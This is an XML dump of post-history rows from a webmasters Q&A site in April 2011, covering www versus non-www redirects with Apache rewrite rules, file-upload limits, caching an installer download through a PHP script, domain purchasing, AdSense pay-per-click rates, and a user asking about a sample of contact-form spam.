  <row Id="26221" PostHistoryTypeId="2" PostId="11562" RevisionGUID="95de7795-a447-4003-8ad1-ad871b29dbb0" CreationDate="2011-04-03T11:28:49.863" UserId="2228" Text="I'm not an expert, but this is what I've found to happen. If you had www links and you 'cleaned' up then you will suffer a de-ranking while Google and friends reindex the site. Furthermore, people say that there's no difference between www or non-www domains, but they fail to include/realize how cookies are affected by the domain. If you have a non-www then any cookies assigned from it are available to any possible subdomain of the site. That *can* lead to a security leak.&#xD;&#xA;&#xD;&#xA;Keep that in mind, but ultimately a subdomain is to separate your concerns. Cookies for example are automatically constrained to the subdomain and your security concerns should be reduced as far as that part of a website is concerned. In the end www is nothing more han a subdomain.&#xD;&#xA;&#xD;&#xA;Also, users by nature will most likely type in www anyway.&#xD;&#xA;&#xD;&#xA;I personally configure my websites into www setups to begin with, and I'm happy with it." />
  <row Id="26222" PostHistoryTypeId="5" PostId="11562" RevisionGUID="5f2a6d83-5508-403d-aa00-24ae10a595a8" CreationDate="2011-04-03T11:35:34.143" UserId="2228" Comment="added 292 characters in body" Text="I'm not an expert, but this is what I've found to happen. If you had www links and you 'cleaned' up then you will suffer a de-ranking while Google and friends reindex the site. Furthermore, people say that there's no difference between www or non-www domains, but they fail to include/realize how cookies are affected by the domain. If you have a non-www then any cookies assigned from it are available to any possible subdomain of the site. That *can* lead to a security leak.&#xD;&#xA;&#xD;&#xA;Keep that in mind, but ultimately a subdomain is to separate your concerns. Cookies for example are automatically constrained to the subdomain and your security concerns should be reduced as far as that part of a website is concerned. In the end www is nothing more han a subdomain.&#xD;&#xA;&#xD;&#xA;Also, users by nature will most likely type in www anyway.&#xD;&#xA;&#xD;&#xA;I personally configure my websites into www setups to begin with, and I'm happy with it.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I think I failed to fully answer. Www or non-www will have 0 effect on your website, BUT if you start screwing around with it after the site is deployed and potentially indexed, you're asking for trouble. Choose one setup and srick with it and it will make your life easier." />
  <row Id="26223" PostHistoryTypeId="2" PostId="11563" RevisionGUID="e6299ca5-6ff3-4f54-af5e-f37d04d3c94f" CreationDate="2011-04-03T11:41:38.583" UserId="2228" Text="It's because Microsoft has products for mac, but it wants to separate its primary products from Apple's when people are searching for 'mac'. This way you get Microsoft reaults as much as possible, unless you're searching for mac software from Microsort specifically." />
  <row Id="26224" PostHistoryTypeId="25" PostId="11561" RevisionGUID="d5f674a6-d4ce-4905-81f1-e882b7a854f8" CreationDate="2011-04-03T12:08:51.887" Comment="http://twitter.com/#!/StackWebmasters/status/54515706166910976" />
  <row Id="26228" PostHistoryTypeId="6" PostId="9997" RevisionGUID="bf809c2c-6e61-4b3e-9cb7-853168137a23" CreationDate="2011-04-03T13:40:06.567" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;forum&gt;&lt;looking-for-a-script&gt;&lt;social-networks&gt;" />
  <row Id="26229" PostHistoryTypeId="6" PostId="11561" RevisionGUID="58fae702-616b-4a1f-8ecd-8bdb7f0302e1" CreationDate="2011-04-03T13:42:21.607" UserId="1253" Comment="removed &quot;php jquery&quot; tags, added &quot;uploading&quot; tag" Text="&lt;uploading&gt;&lt;storage&gt;" />
  <row Id="26235" PostHistoryTypeId="2" PostId="11566" RevisionGUID="f9f69c7f-ea4a-49e8-9100-b79d789efc1b" CreationDate="2011-04-03T13:55:40.323" UserId="1253" Text="There is no difference between www and non-www. The www is just a subdomain of the main domain and Google considers subdomains and subdirectories equal (i.e. part of the same website, not special in any way). &#xD;&#xA;&#xD;&#xA;You do need to pick one versus the other, though, as using both will cause you SEO problems. Since www.domain.com is a different URL then domain.com you can run into duplicate content penalties since you can pull the same information up using two URLs. To solve this:&#xD;&#xA;&#xD;&#xA;1) Set up your webserver to always forward either to the www domain or without it. This should be a 301 redirect.&#xD;&#xA;&#xD;&#xA;2) Make sure all of your internal links use the chosen form (even though the 301 redirect will catch this for you internal links do pass PR and help your rankings and 301 redirects dilute their value).&#xD;&#xA;&#xD;&#xA;3) In Google Webmaster Tools tell Google to always use the www or not" />
  <row Id="26236" PostHistoryTypeId="5" PostId="11566" RevisionGUID="fe1349b0-f444-42b1-9381-dea8f72ffd68" CreationDate="2011-04-03T14:01:06.170" UserId="1253" Comment="added 898 characters in body; added 365 characters in body; added 27 characters in body" Text="*For SEO ranking purposes* there is no difference between www and non-www. The www is just a subdomain of the main domain and [Google considers subdomains and subdirectories equal][1] (i.e. part of the same website, not special in any way). &#xD;&#xA;&#xD;&#xA;You do need to pick one versus the other, though, as using both will cause you SEO problems. Since www.domain.com is a different URL then domain.com you can run into duplicate content penalties since you can pull the same information up using two URLs. To solve this:&#xD;&#xA;&#xD;&#xA;1) Set up your webserver to always forward either to the www domain or without it. This should be a 301 redirect. In Apache it would look like this:&#xD;&#xA;&#xD;&#xA;**Forward to the www**&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.|$) [NC]&#xD;&#xA;    RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xD;&#xA;&#xD;&#xA;**Forward to the non-www**&#xD;&#xA;&#xD;&#xA;    RewriteEngine On &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(www\.|$) [NC]&#xD;&#xA;    RewriteRule ^ http://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xD;&#xA;&#xD;&#xA;2) Make sure all of your internal links use the chosen form (even though the 301 redirect will catch this for you internal links do pass PR and help your rankings and 301 redirects dilute their value).&#xD;&#xA;&#xD;&#xA;3) In [Google Webmaster Tools][2] tell Google to always use the www or not. It's under site configurations / settings.&#xD;&#xA;&#xD;&#xA;&gt; The preferred domain is the one that&#xD;&#xA;&gt; you would like used to index your&#xD;&#xA;&gt; site's pages. If you specify your&#xD;&#xA;&gt; preferred domain as&#xD;&#xA;&gt; http://www.example.com and we find a&#xD;&#xA;&gt; link to your site that is formatted as&#xD;&#xA;&gt; http://example.com , we'll treat that&#xD;&#xA;&gt; link as if it was&#xD;&#xA;&gt; http://www.example.com . In addition,&#xD;&#xA;&gt; we'll take your preference into&#xD;&#xA;&gt; account when displaying URLs in our&#xD;&#xA;&gt; search results. It may take some time&#xD;&#xA;&gt; for changes to be reflected in our&#xD;&#xA;&gt; index.&#xD;&#xA;&#xD;&#xA;4) You may want to consider use `rel=canonical` tags on your pages to make sure the search engines always know which chosen form is the right one but this is redundant since the 301 redirect should prevent them from seeing the other form.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/subdomains-and-subdirectories/&#xD;&#xA;  [2]: http://www.google.com/webmasters/&#xD;&#xA;" />
  <row Id="26237" PostHistoryTypeId="2" PostId="11567" RevisionGUID="f1f6c8b3-142f-41f3-b9d8-53510412755c" CreationDate="2011-04-03T14:28:12.253" UserId="6308" Text="There is no reason a standard file input field couldn't handle files up to 2GB (above that, however, things may get tricky).  Most servers, however, are configured by default with a fairly small hard limit, which is there to limit excessive resource usage.&#xD;&#xA;&#xD;&#xA;What would kill you is the lack of any decent progress indicator for the user.  Submitting a normal file input field will cause their browser to sit there for hours on end with barely any indication that the upload is even happening successfully.&#xD;&#xA;&#xD;&#xA;This is where I've seen Flash come to help.  There are many sites, like flickr and YouTube which use (or can be made to use) the Flash plugin to provide a friendlier uploading experience, including feedback that the upload is happening and even perhaps a progress bar.&#xD;&#xA;" />
  <row Id="26238" PostHistoryTypeId="2" PostId="11568" RevisionGUID="8df427cd-b860-4d40-a187-1ccbfc2f09e4" CreationDate="2011-04-03T14:33:27.723" UserId="6308" Text="Sometimes there will be contact information on the page, other times you'll need to use the contact in the WHOIS information.  This should still work even if it's been redirected through some privacy feature of the registrar.&#xD;&#xA;&#xD;&#xA;I've not used them, but I think escrow.com is supposed to be able to handle the process of transferring domains when the person you're dealing with is not someone you already know and trust.&#xD;&#xA;&#xD;&#xA;For an offer price, it's really up to you to just do some research and use your own knowledge and experience of what domains might be worth.  Note that domains are often advertised at highly inflated prices and a lot of domain appraisal services also give inflated prices.  Don't offer too much, but don't be too close to just the registration fee.  The rest is, I'm afraid, up to you to research.  I will say that in any negotiation, the most important way to avoid being screwed is to always be prepared to walk away if you don't get the price you want.  Sounds simple, but some people really feel like they *must* have something, so they'll pay a lot more than they would have otherwise said was their upper limit." />
  <row Id="26239" PostHistoryTypeId="2" PostId="11569" RevisionGUID="0b3e1ff9-c2c7-4919-b71a-4578280519ce" CreationDate="2011-04-03T14:37:01.717" UserId="2293" Text="Text files are a little bit faster and easier to handle.&#xD;&#xA;&#xD;&#xA;Thing is... you will need to deal with databases sooner or later as developer.&#xD;&#xA;&#xD;&#xA;I noticed you didn't mention any search features. If your texts are going to be internally searched, then there is no doubt about using db, as they count with fulltext search features built-in." />
  <row Id="26240" PostHistoryTypeId="2" PostId="11570" RevisionGUID="15a69caa-aecb-4305-9d61-51f591a100bd" CreationDate="2011-04-03T15:05:02.440" UserId="6308" Text="The question is comparing:&#xD;&#xA;&#xD;&#xA; 1. Storing text in the database&#xD;&#xA; 2. Storing text in files and storing the filenames of those files in the database&#xD;&#xA;&#xD;&#xA;Given this, storing everything in the database is going to not only be a lot easier, because you only have to solve the problem once, but also more robust.&#xD;&#xA;&#xD;&#xA;Databases enforce integrity on their data.  It's very safe for one process to write to the database and another to read from it at the same time.  The database server uses locking to ensure that the reading process doesn't read a partially-written record.&#xD;&#xA;&#xD;&#xA;However, if you're trying to keep the file system and the database in sync with each other, there's no way to prevent other processes from reading at the wrong moment.  In your trivial example it's not likely to be a huge problem as long as your application doesn't do anything overly catastrophic if it finds an anomaly.&#xD;&#xA;&#xD;&#xA;Backups in particular become quite a problem because it's typical for a backup of the filesystem to be out of sync with the database by a significant time, as databases are backed up using a different method.&#xD;&#xA;&#xD;&#xA;If you can keep all variable data in a database, backups and scaling to more than one server will be easier.  Of course, sometimes this is impractical - many people advocate storing data in files if it is very large." />
  <row Id="26241" PostHistoryTypeId="25" PostId="11559" RevisionGUID="dc1eb2b8-fd28-4a9e-8d18-006d77180faf" CreationDate="2011-04-03T15:08:51.900" Comment="http://twitter.com/#!/StackWebmasters/status/54561004809490432" />
  <row Id="26242" PostHistoryTypeId="2" PostId="11571" RevisionGUID="559c2edb-f7ba-4786-8bfe-80c825c3a531" CreationDate="2011-04-03T15:14:31.050" UserId="6534" Text="I have a sports site. It was making like $0.75 per click for couple of months. Now suddenly, average cpc has dropped to $0.5 or even $0.4.   Sometimes, I even see $0.2 or $0.08 per click.&#xD;&#xA;&#xD;&#xA;Is there an option to set minimum CPC for your ads as a publisher?  I can't find it anywhere  on adsense but competitors like Adbrite seem to have it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;regards" />
  <row Id="26243" PostHistoryTypeId="1" PostId="11571" RevisionGUID="559c2edb-f7ba-4786-8bfe-80c825c3a531" CreationDate="2011-04-03T15:14:31.050" UserId="6534" Text="Google adsense - set minimum CPC?" />
  <row Id="26244" PostHistoryTypeId="3" PostId="11571" RevisionGUID="559c2edb-f7ba-4786-8bfe-80c825c3a531" CreationDate="2011-04-03T15:14:31.050" UserId="6534" Text="&lt;advertising&gt;&lt;google-adsense&gt;&lt;cost&gt;" />
  <row Id="26245" PostHistoryTypeId="2" PostId="11572" RevisionGUID="27bec34b-2ebc-4a41-b23e-fc5fef7fd5ef" CreationDate="2011-04-03T15:30:23.683" UserId="6535" Text="So I know about tools like Copyscape and Google Alerts.. great tools, but it's quite tedious for me to copy and paste an URL or phrase for every one of my pages in my sites. Is there any tool out there that monitors your website and emails you or alerts you whenever someone has stolen content from your site? &#xD;&#xA;&#xD;&#xA;The only service I know is CopySentry and honestly, it's too expensive for me since I got thousands of pages I want to monitor... &#xD;&#xA;&#xD;&#xA;Anyone else have this problem? or is it just me?&#xD;&#xA;&#xD;&#xA;Thanks for any help. " />
  <row Id="26246" PostHistoryTypeId="1" PostId="11572" RevisionGUID="27bec34b-2ebc-4a41-b23e-fc5fef7fd5ef" CreationDate="2011-04-03T15:30:23.683" UserId="6535" Text="How to Automate Checking for Stolen Content?" />
  <row Id="26247" PostHistoryTypeId="3" PostId="11572" RevisionGUID="27bec34b-2ebc-4a41-b23e-fc5fef7fd5ef" CreationDate="2011-04-03T15:30:23.683" UserId="6535" Text="&lt;google&gt;&lt;copyright&gt;" />
  <row Id="26248" PostHistoryTypeId="2" PostId="11573" RevisionGUID="4de0602e-822d-47c6-bc57-d27e50b57ad3" CreationDate="2011-04-03T09:54:08.180" UserDisplayName="Bill" Text="I've FTPed a new installer file (for an app I'm maintaining) up to a server on the web, replacing the old installer file.&#xD;&#xA;&#xD;&#xA;My boss has already sent an email to our users saying &quot;get the new installer from this URL on Monday&quot;. The URL looks like &quot;http://app.ourwebsite.com/downloads/installer.zip&quot;. I'm afraid I can't give you the real URL because there's some sensitive information up there. When I visit the URL though, I get the old installer.  This happens in any of my browsers (FF, IE, Chrome), regardless of whether I clear the browser cache, used the browser before to download the file, close and re-open the browser.&#xD;&#xA;&#xD;&#xA;If I change the capitalisation of any letter of the file-name part of the URL, I get the new installer.&#xD;&#xA;&#xD;&#xA;What's going on here?  And more importantly, how do I fix it so that when people visit the URL my boss sent out (in its original capitalisation), they get the right file?" />
  <row Id="26249" PostHistoryTypeId="1" PostId="11573" RevisionGUID="4de0602e-822d-47c6-bc57-d27e50b57ad3" CreationDate="2011-04-03T09:54:08.180" UserDisplayName="Bill" Text="Downloaded file is from stale cache" />
  <row Id="26250" PostHistoryTypeId="3" PostId="11573" RevisionGUID="4de0602e-822d-47c6-bc57-d27e50b57ad3" CreationDate="2011-04-03T09:54:08.180" UserDisplayName="Bill" Text="&lt;download&gt;&lt;cache&gt;" />
  <row Id="26251" PostHistoryTypeId="17" PostId="11573" RevisionGUID="37aa4ee8-c468-4f1a-91c2-a7924fdea2ac" CreationDate="2011-04-03T15:51:55.880" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/14130/downloaded-file-is-from-stale-cache" Text="" />
  <row Id="26252" PostHistoryTypeId="2" PostId="11574" RevisionGUID="41293d19-4811-405c-83cc-bef4848ec4ed" CreationDate="2011-04-03T15:52:36.693" UserId="1253" Text="Try using [Google Alerts][1]. Put in some text that is unique to your content and Google will then alert you when new content is found that matches that text.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/alerts" />
  <row Id="26253" PostHistoryTypeId="2" PostId="11575" RevisionGUID="a5f34798-c991-4f83-9f2c-70e9841c7c6c" CreationDate="2011-04-03T16:15:18.337" UserId="1253" Text="Append a query string, usually a timestamp, to the end of the filename each time you change it. This will cause the URL to be different and force the browser to fetch a copy of the fresh file.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    http://app.ourwebsite.com/downloads/installer.zip?17245123784&#xD;&#xA;&#xD;&#xA;That query string won't affect the file or the download. It will just force the file to be fresh each time it is changed.&#xD;&#xA;&#xD;&#xA;**OR**&#xD;&#xA;&#xD;&#xA;Serve the file through a script that sends no cache headers and then forces the download.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    http://app.ourwebsite.com/downloads/download.php?file=installer.zip&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;        $file = '/path/to/file/outside/www/installer.php';&#xD;&#xA;    &#xD;&#xA;        header('Content-Description: File Transfer');&#xD;&#xA;        header('Content-Type: application/octet-stream');&#xD;&#xA;        header('Content-Disposition: attachment; filename=' . basename($file));&#xD;&#xA;        header('Content-Transfer-Encoding: binary');&#xD;&#xA;        header(&quot;Expires: Sat, 26 Jul 1997 05:00:00 GMT&quot;); &#xD;&#xA;        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');&#xD;&#xA;        header('Pragma: public');&#xD;&#xA;        header('Content-Length: ' . filesize($file));&#xD;&#xA;        readfile($file);&#xD;&#xA;        exit;&#xD;&#xA;    ?&gt;" />
  <row Id="26258" PostHistoryTypeId="2" PostId="11577" RevisionGUID="d76f1ff4-6875-49e2-8a7e-6bb269234c0b" CreationDate="2011-04-03T16:53:47.463" UserId="5959" Text="Store the text in the database, but cache it in files. You'll get all the benefits of both approaches. Rendering a page would go something like this:&#xD;&#xA;&#xD;&#xA;    if (a cached version of page doesn't exist) {&#xD;&#xA;        generate the page content from the database&#xD;&#xA;        store the page content in the cache&#xD;&#xA;    }&#xD;&#xA;    serve the page from the cache&#xD;&#xA;&#xD;&#xA;Then, when editing a page:&#xD;&#xA;&#xD;&#xA;    store the new content in the database&#xD;&#xA;    wipe the cache for that page&#xD;&#xA;&#xD;&#xA;Thus, you'll only need a single db hit, when a page changes. Your performance will be much better than a direct database store because the vast majority of your page hits are simple static files, and you'll get the benefit of central management, text indexing, etc." />
  <row Id="26262" PostHistoryTypeId="6" PostId="11559" RevisionGUID="a037f671-2b8c-4969-8448-fd7a502af9a4" CreationDate="2011-04-03T17:19:13.003" UserId="3659" Comment="Added 'whois' tag" Text="&lt;domain-names&gt;&lt;whois&gt;" />
  <row Id="26263" PostHistoryTypeId="24" PostId="11559" RevisionGUID="a037f671-2b8c-4969-8448-fd7a502af9a4" CreationDate="2011-04-03T17:19:13.003" Comment="Proposed by 3659 approved by 1064 edit id of 95" />
  <row Id="26270" PostHistoryTypeId="2" PostId="11579" RevisionGUID="32c032a2-e698-478f-b9f6-693ef99a8534" CreationDate="2011-04-03T17:24:09.620" UserId="6537" Text="Anyone knows a good resource on the web with animated icons? Like animated pencil or something like that.&#xD;&#xA;&#xD;&#xA;Thanks ;)" />
  <row Id="26271" PostHistoryTypeId="1" PostId="11579" RevisionGUID="32c032a2-e698-478f-b9f6-693ef99a8534" CreationDate="2011-04-03T17:24:09.620" UserId="6537" Text="Small and free animated icons" />
  <row Id="26272" PostHistoryTypeId="3" PostId="11579" RevisionGUID="32c032a2-e698-478f-b9f6-693ef99a8534" CreationDate="2011-04-03T17:24:09.620" UserId="6537" Text="&lt;icon&gt;" />
  <row Id="26273" PostHistoryTypeId="5" PostId="10062" RevisionGUID="9c2982fa-7527-4baa-bf8d-4b465503d771" CreationDate="2011-04-03T17:45:23.037" UserId="1253" Comment="added 14 characters in body" Text="With cPanel type hosting it's called an addon domain and what it's doing behind the scenes is a redirect. Do you have the option to configure an addon domain or can you do a redirect like this:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^yoga-in-unternehmen.de$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.yoga-in-unternehmen.de$&#xD;&#xA;    RewriteRule ^/?$ &quot;http\:\/\/yoga-in-unternehmen\.de&quot; [R=301,L]" />
  <row Id="26274" PostHistoryTypeId="25" PostId="11572" RevisionGUID="c03a187d-941c-49e5-b7f9-a0ed2e8b6c21" CreationDate="2011-04-03T18:08:52.070" Comment="http://twitter.com/#!/StackWebmasters/status/54606303196229632" />
  <row Id="26275" PostHistoryTypeId="2" PostId="11580" RevisionGUID="5ffcb299-c0d0-41b3-8ed9-84fb08a6c76a" CreationDate="2011-04-03T18:11:15.533" UserId="6538" Text="I have this [website][1] hosted with plesk control panel.  All my links show some site preview prepended to it. I don't know what should I do ?&#xD;&#xA;&#xD;&#xA;thanks for any help,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://myintelligenthouse.co.uk/" />
  <row Id="26276" PostHistoryTypeId="1" PostId="11580" RevisionGUID="5ffcb299-c0d0-41b3-8ed9-84fb08a6c76a" CreationDate="2011-04-03T18:11:15.533" UserId="6538" Text="plesk site preview" />
  <row Id="26277" PostHistoryTypeId="3" PostId="11580" RevisionGUID="5ffcb299-c0d0-41b3-8ed9-84fb08a6c76a" CreationDate="2011-04-03T18:11:15.533" UserId="6538" Text="&lt;plesk&gt;" />
  <row Id="26278" PostHistoryTypeId="2" PostId="11581" RevisionGUID="c0a73d05-9952-4f70-84c6-325939bef63f" CreationDate="2011-04-03T19:03:16.827" UserId="3659" Text="Chech: http://www.iconbazaar.com/animated/" />
  <row Id="26279" PostHistoryTypeId="5" PostId="11581" RevisionGUID="5f462439-7d39-4e4d-b626-d879abbe0f59" CreationDate="2011-04-03T19:10:32.470" UserId="3659" Comment="Corrected spelling" Text="Check: http://www.iconbazaar.com/animated/" />
  <row Id="26280" PostHistoryTypeId="25" PostId="11580" RevisionGUID="828b6335-0420-4b7e-811d-73911f4c544d" CreationDate="2011-04-03T21:08:51.540" Comment="http://twitter.com/#!/StackWebmasters/status/54651600358211584" />
  <row Id="26281" PostHistoryTypeId="2" PostId="11582" RevisionGUID="09b4ee73-8570-475a-a288-6696aa821e24" CreationDate="2011-04-03T23:37:44.707" UserId="6389" Text="Presumably you have run some kind of CMS installer through the site preview link. the installer has set the host name based on the link you where using to access the site at the time. the CMS system you are using should have the hostname set in a config file or admin panel that you can change from the preview URL to the correct domain URL.&#xD;&#xA;&#xD;&#xA;You can avoid using preview links by editing your local host file to force your own machine to go to a particular ip before you change the DNS records. on a windows machine it will be in C:\windows\system32\drivers\etc\hosts you simply put the domain name and the ip you want it to resolve to (your Plesk server). This also stops rewrite rules breaking when previewing a site.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="26282" PostHistoryTypeId="25" PostId="11573" RevisionGUID="c7456b52-a42c-4757-aaa0-677441c7213f" CreationDate="2011-04-04T00:08:51.613" Comment="http://twitter.com/#!/StackWebmasters/status/54696898774315009" />
  <row Id="26283" PostHistoryTypeId="2" PostId="11583" RevisionGUID="90aac5d9-be2e-4ff2-80f1-0fa7072f2f7c" CreationDate="2011-04-04T01:29:18.440" UserId="6542" Text="I have been reading a lot of articles about CSS sprites and I find that the distinction between content and background images is far from being as clear-cut as most articles make it seem.&#xD;&#xA;&#xD;&#xA;I have four icons on one page that are there to make four corresponding paragraphs &quot;punchier&quot; (http://www.systhermique.com). Is this content or background? &#xD;&#xA;&#xD;&#xA;In my opinion, it's a little of both, but I fail to see the drawbacks of using a CSS sprite for those images, although I'm inclined to use the image container strategy described above in order to keep the alt tags. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="26284" PostHistoryTypeId="2" PostId="11584" RevisionGUID="978b51fe-5fef-421d-bb02-3f3f0d3c264e" CreationDate="2011-04-04T01:52:46.833" UserId="6544" Text="I have example.com, which points to webserver using A records, I want to redirect all traffic from www.example.com to example.com.&#xD;&#xA;&#xD;&#xA;As far as i know these are methods,&#xD;&#xA;&#xD;&#xA; 1. 301 HTML redirect from www to example.com&#xD;&#xA; 2. add CNAME alias for www to @&#xD;&#xA; 3. add A record for www to webserver IP&#xD;&#xA;&#xD;&#xA;What is the good way to do it without affecting search engine ranks?" />
  <row Id="26285" PostHistoryTypeId="1" PostId="11584" RevisionGUID="978b51fe-5fef-421d-bb02-3f3f0d3c264e" CreationDate="2011-04-04T01:52:46.833" UserId="6544" Text="What is the good way to redirect naked domains?" />
  <row Id="26286" PostHistoryTypeId="3" PostId="11584" RevisionGUID="978b51fe-5fef-421d-bb02-3f3f0d3c264e" CreationDate="2011-04-04T01:52:46.833" UserId="6544" Text="&lt;seo&gt;&lt;domains&gt;&lt;redirects&gt;&lt;301-redirect&gt;" />
  <row Id="26287" PostHistoryTypeId="2" PostId="11585" RevisionGUID="8eedeaa5-65ce-40a6-a64d-93248f2df6af" CreationDate="2011-04-04T02:13:59.780" UserId="6546" Text="I've been a happy Linode user for over four years now. The owners are very accessible, the community has a peculiar energy, they've got a bunch of useful tools, among other things.&#xD;&#xA;And their prices are better than those of prgmr.com.&#xD;&#xA;&#xD;&#xA;Noone mentioned Bluemile, they've got the best prices on Xen VPSs I know of. And I didn't see any complains about them so far. Things work perfectly for me on Linode, so I'm not leaving them. But I think anyone looking for options should add Bluemile to consideration." />
  <row Id="26288" PostHistoryTypeId="25" PostId="11584" RevisionGUID="91244434-ca23-455e-bc25-e5a09d54bc88" CreationDate="2011-04-04T03:08:51.857" Comment="http://twitter.com/#!/StackWebmasters/status/54742198096367617" />
  <row Id="26289" PostHistoryTypeId="2" PostId="11586" RevisionGUID="e672dab8-4735-4e98-bdb7-4aeb67100321" CreationDate="2011-04-04T03:14:47.503" UserId="1253" Text="The 301 redirect is what you want to use if SEO is your primary concern. The 301 redirect will not only tell the search engines your pages have moved (assuming you are currently using both the www and non-www versions of your pages) but also help them associate the old URLs with the new URLs. This means any links you have to your old pages will count towards your new pages. They do lose a little bit of value because of the redirect but that's better not not doing it at all." />
  <row Id="26290" PostHistoryTypeId="5" PostId="11586" RevisionGUID="9d17c424-73ce-47f6-81e3-e32882a753ad" CreationDate="2011-04-04T03:24:52.413" UserId="1253" Comment="added 226 characters in body" Text="The 301 redirect is what you want to use if SEO is your primary concern. The 301 redirect will not only tell the search engines your pages have moved (assuming you are currently using both the www and non-www versions of your pages) but also help them associate the old URLs with the new URLs. This means any links you have to your old pages will count towards your new pages. They do lose a little bit of value because of the redirect but that's better not not doing it at all.&#xD;&#xA;&#xD;&#xA;See this answer for more info on [301 redirects and www/non-www][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/11560/seo-preference-for-www-or-http-protocol-redirection-do-www-websites-rank-bett/11566#11566" />
  <row Id="26300" PostHistoryTypeId="2" PostId="11590" RevisionGUID="d53cf256-d5dd-413e-b149-98b94d1d2d64" CreationDate="2011-04-04T06:15:48.927" UserId="5026" Text="I have a client who requires shopping cart functionality for maybe 20 products.&#xD;&#xA;&#xD;&#xA;Is it worth installing dedicated shooping cart software, or can I use Paypal buttons etc." />
  <row Id="26301" PostHistoryTypeId="1" PostId="11590" RevisionGUID="d53cf256-d5dd-413e-b149-98b94d1d2d64" CreationDate="2011-04-04T06:15:48.927" UserId="5026" Text="Small Shopping Cart Software" />
  <row Id="26302" PostHistoryTypeId="3" PostId="11590" RevisionGUID="d53cf256-d5dd-413e-b149-98b94d1d2d64" CreationDate="2011-04-04T06:15:48.927" UserId="5026" Text="&lt;ecommerce&gt;&lt;shopping-cart&gt;" />
  <row Id="26303" PostHistoryTypeId="2" PostId="11591" RevisionGUID="7ded9e2e-76b9-4ddc-b942-8726bda52e7d" CreationDate="2011-04-04T06:32:50.787" UserId="6549" Text="I'm wondering this for quite some time, and it's a question about human-computer interaction and usability.&#xD;&#xA;&#xD;&#xA;A lot of popular websites have (in my opinion) poor usability, and I wonder what you guys think of that, and I also wonder why users still prefer these websites. I'll start off with a few examples.&#xD;&#xA;&#xD;&#xA;**Wikipedia** I'm not talking here about the actual wiki's. But If you want to get into editing these pages it starts with a big mess. There are tons of discussions in the pages behind the wiki's. For example: &#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#30_kb&#xD;&#xA;&#xD;&#xA;This is bulletin board with thousands of lines of comments, no proper way to identify who's posting what. And all that indentation. It's really annoying me and it's one of the reasons I'm not editing wiki's.&#xD;&#xA;&#xD;&#xA;**Twitter** Okay, I get the deal with the 140 characters in a message. It forces people to make small messages, and it's ideal for mobile devices. However, a lot of people nowadays are having conversations over twitter. And that's where it gets messy, if someone replies at a tweet of someone else, it's almost impossible to find the corresponding tweet. Also, you're forced to cramp #hastags and @people in your message, so for me it's very messy.&#xD;&#xA;&#xD;&#xA;**Craigslist** Euhm, yeah craigslist... I'm not even starting on this one.&#xD;&#xA;&#xD;&#xA;This post is not a complaint about these websites. I'm just surprised they are lacking even the most basic usability features. And that makes me wonder the following thing.&#xD;&#xA;&#xD;&#xA;Everyone on this website is talking about usability, and human computer interaction. A lot of people study the effects of them on websites. People have gained PhD's in them.&#xD;&#xA;&#xD;&#xA;Then why is it, that the most popular websites on the internet, do not follow the basic rules of usability, and have a lot of things that can improved for better user experience. &#xD;&#xA;&#xD;&#xA;Then, another question, is it even proven that adding usability features actually IMPROVE the quality of the user experience of the website" />
  <row Id="26304" PostHistoryTypeId="1" PostId="11591" RevisionGUID="7ded9e2e-76b9-4ddc-b942-8726bda52e7d" CreationDate="2011-04-04T06:32:50.787" UserId="6549" Text="What's the deal with all these popular website having poor usability" />
  <row Id="26305" PostHistoryTypeId="3" PostId="11591" RevisionGUID="7ded9e2e-76b9-4ddc-b942-8726bda52e7d" CreationDate="2011-04-04T06:32:50.787" UserId="6549" Text="&lt;usability&gt;" />
  <row Id="26307" PostHistoryTypeId="2" PostId="11593" RevisionGUID="25c5604d-5673-46b2-b3ee-44c4294938e9" CreationDate="2011-04-04T06:51:45.107" UserId="6551" Text="We're receiving a lot of spam that looks like this:&#xD;&#xA;&#xD;&#xA;&gt; Form field 1 (textfields):&#xD;&#xA;&gt; duYYAJPNaMVsC&#xD;&#xA;&gt; &#xD;&#xA;&gt; Form field 2: icDiQOVRy&#xD;&#xA;&gt; &#xD;&#xA;&gt; Form field 3: uSDzPEObWIrTsCidma&#xD;&#xA;&gt; &#xD;&#xA;&gt; Form field 4: ODscxPiiqj&#xD;&#xA;&gt; &#xD;&#xA;&gt; Form field 2: (textarea) 6YWx4t &lt;a&#xD;&#xA;&gt; href=&quot;http://yykqtykkniwr.com/&quot;&gt;yykqtykkniwr&lt;/a&gt;,&#xD;&#xA;&gt; [url=http://nvuozttudquw.com/]nvuozttudquw[/url],&#xD;&#xA;&gt; [link=http://xnwfrkyueend.com/]xnwfrkyueend[/link],&#xD;&#xA;&gt; http://efuwqygexlaj.com/&#xD;&#xA;&#xD;&#xA;What kind of spam is this and what purpose does it have? The links doesn't work and it's not advertisement.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26308" PostHistoryTypeId="1" PostId="11593" RevisionGUID="25c5604d-5673-46b2-b3ee-44c4294938e9" CreationDate="2011-04-04T06:51:45.107" UserId="6551" Text="What kind of spam and how to detect different types" />
